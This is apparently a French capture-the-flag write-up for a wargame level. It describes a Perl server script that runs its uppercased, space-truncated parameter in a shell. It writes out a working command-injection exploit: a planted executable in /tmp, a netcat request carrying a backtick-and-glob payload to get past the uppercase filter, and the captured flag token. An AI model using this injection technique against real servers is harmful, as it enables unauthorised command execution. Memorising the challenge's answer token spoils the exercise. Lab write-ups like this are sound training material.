2021-01-28 18:37:42 +00:00
|
|
|
# Il y a un script perl qui semble estre en mode serveur
|
|
|
|
# On peut lui envoyer 2 paramertre. Mais seul le premier semble etre unteressant
|
|
|
|
# le premeir parametre passe par 2 filtre.
|
|
|
|
# Le les caracter alphabetique en majuscule
|
|
|
|
# Le deuxieme suprime tout ce qu'il y a apres le premier espace
|
|
|
|
# En suite ce parametre et executer au sein d'une commande shell executier depuis du perl
|
|
|
|
|
|
|
|
# On ne poura donc pas executer de comande en tant que tel.
|
|
|
|
# mais on peut executer un fichier
|
|
|
|
|
2021-02-02 17:51:35 +00:00
|
|
|
# Dans un fichier /tmp/.TOTO avec les droit en execution ont va mettre le contenu suivant:
|
2021-01-28 18:37:42 +00:00
|
|
|
|
|
|
|
#!/bin/sh
|
|
|
|
getflag > /tmp/.flag12
|
|
|
|
|
2021-02-02 17:51:35 +00:00
|
|
|
$ echo -e '#!/bin/sh \x0a getflag > /tmp/.flag12' > /tmp/.TOTO && chmod 777 /tmp/.TOTO
|
|
|
|
|
2021-01-28 18:37:42 +00:00
|
|
|
# puis on envoie un requet avec des back-quote pour executer le fichier
|
|
|
|
|
|
|
|
$ nc -v localhost 4646
|
|
|
|
> GET /?x=`/*/.TOTO`
|
|
|
|
|
2021-01-30 08:55:48 +00:00
|
|
|
l'autocompletion change le * en tmp, ce qui nous permet d'executer dans tmp malgre la regex qui upcase.
|
|
|
|
|
2021-01-28 18:37:42 +00:00
|
|
|
$ cat /tmp/.flag12
|
|
|
|
> Check flag.Here is your token : g1qKMiRpXf53AWhDaU7FEkczr
|
|
|
|
|
|
|
|
|
|
|
|
|